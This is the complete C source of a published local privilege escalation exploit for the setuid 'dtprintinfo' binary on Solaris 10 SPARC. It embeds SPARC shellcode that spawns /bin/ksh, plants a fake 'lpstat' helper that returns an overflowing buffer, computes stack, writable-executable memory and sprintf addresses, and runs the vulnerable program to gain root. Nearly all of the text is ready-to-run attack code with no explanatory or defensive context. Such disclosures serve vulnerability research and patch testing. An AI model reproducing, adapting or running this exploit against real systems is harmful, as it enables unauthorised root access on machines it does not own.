# Exploit Title: Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (3)
# Date: 2021-02-01
# Exploit Author: Marco Ivaldi
# Vendor Homepage: https://www.oracle.com/solaris/solaris10/
# Version: Solaris 10
# Tested on: Solaris 10 1/13 SPARC
#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/systeminfo.h>
#define INFO1 "raptor_dtprintname_sparc3.c - dtprintinfo on Solaris 10 SPARC"
#define INFO2 "Copyright (c) 2004-2020 Marco Ivaldi <raptor@0xdeadbeef.info>"
#define VULN "/usr/dt/bin/dtprintinfo"
#define BUFSIZE 301
#define FFSIZE 64 + 1
#define DUMMY 0xdeadbeef
#ifdef USE_EXEC_SC
char sc[] =
"\x90\x08\x3f\xff"
"\x82\x10\x20\x17"
"\x91\xd0\x20\x08"
"\x9f\x41\x40\x01"
"\x90\x03\xe0\x28"
"\x92\x02\x20\x10"
"\xc0\x22\x20\x08"
"\xd0\x22\x20\x10"
"\xc0\x22\x20\x14"
"\x82\x10\x20\x0b"
"\x91\xd0\x20\x08"
"\x80\x1c\x40\x11"
"\x41\x41\x41\x41"
"/bin/ksh";
#else
char sc[] =
"\x90\x08\x3f\xff"
"\x82\x10\x20\x17"
"\x91\xd0\x20\x08"
"\x92\x20\x20\x01"
"\x20\xbf\xff\xff"
"\x20\xbf\xff\xff"
"\x7f\xff\xff\xff"
"\x90\x03\xe0\x20"
"\xc0\x22\x20\x08"
"\x82\x10\x20\x0f"
"\x91\xd0\x20\x08"
"\x90\x08\x3f\xff"
"\x82\x10\x20\x01"
"\x91\xd0\x20\x08"
"/bin/ksh";
#endif
char *arg[2] = {"foo", NULL};
char *env[256];
int env_pos = 0, env_len = 0;
int add_env(char *string);
void check_zero(int addr, char *pattern);
int get_ff_addr(char *path, char **argv);
int search_ldso(char *sym);
int search_rwx_mem(void);
void set_val(char *buf, int pos, int val);
int main(int argc, char **argv)
{
char buf[BUFSIZE], ff[FFSIZE], ret_var[16], fpt_var[16];
char platform[256], release[256], display[256];
int i, ff_addr, sc_addr, ret_pos, fpt_pos;
int sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
int ret = search_ldso("sprintf");
int rwx_mem = search_rwx_mem() + 24;
if (!strcmp(argv[0], "lpstat")) {
if (argc != 2)
exit(1);
ret = (int)strtoul(getenv("RET"), (char **)NULL, 0);
ff_addr = (int)strtoul(getenv("FPT"), (char **)NULL, 0);
memset(buf, 'A', sizeof(buf));
buf[sizeof(buf) - 1] = 0x0;
for (i = 0; i < BUFSIZE; i += 4) {
set_val(buf, i, ret - 4);
set_val(buf, i += 4, ff_addr);
}
if(!strcmp(argv[1], "-v")) {
fprintf(stderr, "lpstat called with -v\n");
printf("device for %s: /dev/null\n", buf);
} else {
fprintf(stderr, "lpstat called with -d\n");
printf("system default destination: %s\n", buf);
}
exit(0);
}
if (!strcmp(argv[0], "foo")) {
printf("0x%p\n", argv[0]);
exit(0);
}
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
if (argc != 2) {
#ifdef USE_EXEC_SC
fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
#else
fprintf(stderr, "usage:\n$ %s xserver:display\n$ /bin/ksh\n\n", argv[0]);
#endif
exit(1);
}
sprintf(display, "DISPLAY=%s", argv[1]);
bzero(ff, sizeof(ff));
for (i = 0; i < 64; i += 4) {
set_val(ff, i, DUMMY);
}
sc_addr = add_env(ff);
add_env(sc);
ret_pos = env_pos;
add_env("RET=0x41414141");
fpt_pos = env_pos;
add_env("FPT=0x42424242");
add_env(display);
add_env("PATH=.:/usr/bin");
add_env("HOME=/tmp");
add_env(NULL);
ff_addr = get_ff_addr(VULN, argv);
sc_addr += ff_addr;
set_val(ff, i = 0, ff_addr + 56);
set_val(ff, i += 4, ff_addr + 56);
set_val(ff, i += 4, ff_addr + 56);
set_val(ff, i += 4, ff_addr + 56);
set_val(ff, i += 4, ff_addr + 56);
set_val(ff, i += 4, ff_addr + 56);
set_val(ff, i += 4, ff_addr + 56);
set_val(ff, i += 4, ff_addr + 56);
set_val(ff, i += 4, rwx_mem);
set_val(ff, i += 4, sc_addr);
set_val(ff, i += 4, ff_addr + 56);
set_val(ff, i += 4, ff_addr + 56);
set_val(ff, i += 4, ff_addr + 56);
set_val(ff, i += 4, ff_addr + 56);
set_val(ff, i += 4, sb - 1024);
set_val(ff, i += 4, rwx_mem - 8);
#ifdef USE_EXEC_SC
set_val(sc, 48, sb - 1024);
#endif
sprintf(ret_var, "RET=0x%x", ret);
env[ret_pos] = ret_var;
sprintf(fpt_var, "FPT=0x%x", ff_addr);
env[fpt_pos] = fpt_var;
unlink("lpstat");
symlink(argv[0], "lpstat");
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
sysinfo(SI_RELEASE, release, sizeof(release) - 1);
fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr);
fprintf(stderr, "Using sprintf() address\t: 0x%p\n\n", (void *)ret);
check_zero(ff_addr, "ff address");
check_zero(sc_addr, "sc address");
execve(VULN, arg, env);
perror("execve");
exit(1);
}
int add_env(char *string)
{
int i;
if (!string) {
env[env_pos] = NULL;
return env_len;
}
env[env_pos] = string;
env_len += strlen(string) + 1;
env_pos++;
if ((strlen(string) + 1) % 4)
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
env[env_pos] = string + strlen(string);
env_len++;
}
return env_len;
}
void check_zero(int addr, char *pattern)
{
if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
!(addr & 0xff000000)) {
fprintf(stderr, "error: %s contains a 0x00!\n", pattern);
exit(1);
}
}
int get_ff_addr(char *path, char **argv)
{
char prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char hex[11] = "\x00";
int fd[2], addr;
prog[strlen(path)] = 0x0;
unlink(prog);
link(argv[0], prog);
if (pipe(fd) < 0) {
perror("pipe");
exit(1);
}
switch(fork()) {
case -1:
perror("fork");
exit(1);
case 0:
dup2(fd[1], 1);
close(fd[0]);
close(fd[1]);
execve(prog, arg, env);
perror("execve");
exit(1);
default:
close(fd[1]);
read(fd[0], hex, sizeof(hex));
break;
}
if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) {
fprintf(stderr, "error: cannot read ff address from helper program\n");
exit(1);
}
return addr + 4;
}
int search_ldso(char *sym)
{
int addr;
void *handle;
Link_map *lm;
if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
perror("dlopen");
exit(1);
}
if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
perror("dlinfo");
exit(1);
}
if ((addr = (int)dlsym(handle, sym)) == NULL) {
fprintf(stderr, "error: sorry, function %s() not found\n", sym);
exit(1);
}
dlclose(handle);
check_zero(addr - 4, sym);
return addr;
}
int search_rwx_mem(void)
{
int fd;
char tmp[16];
prmap_t map;
int addr = 0, addr_old;
sprintf(tmp,"/proc/%d/map", (int)getpid());
if ((fd = open(tmp, O_RDONLY)) < 0) {
fprintf(stderr, "error: can't open %s\n", tmp);
exit(1);
}
while (read(fd, &map, sizeof(map)))
if (map.pr_vaddr)
if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
addr_old = addr;
addr = map.pr_vaddr;
}
close(fd);
if (!(addr_old & 0xff))
addr_old |= 0x04;
if (!(addr_old & 0xff00))
addr_old |= 0x0400;
return addr_old;
}
void set_val(char *buf, int pos, int val)
{
buf[pos] = (val & 0xff000000) >> 24;
buf[pos + 1] = (val & 0x00ff0000) >> 16;
buf[pos + 2] = (val & 0x0000ff00) >> 8;
buf[pos + 3] = (val & 0x000000ff);
}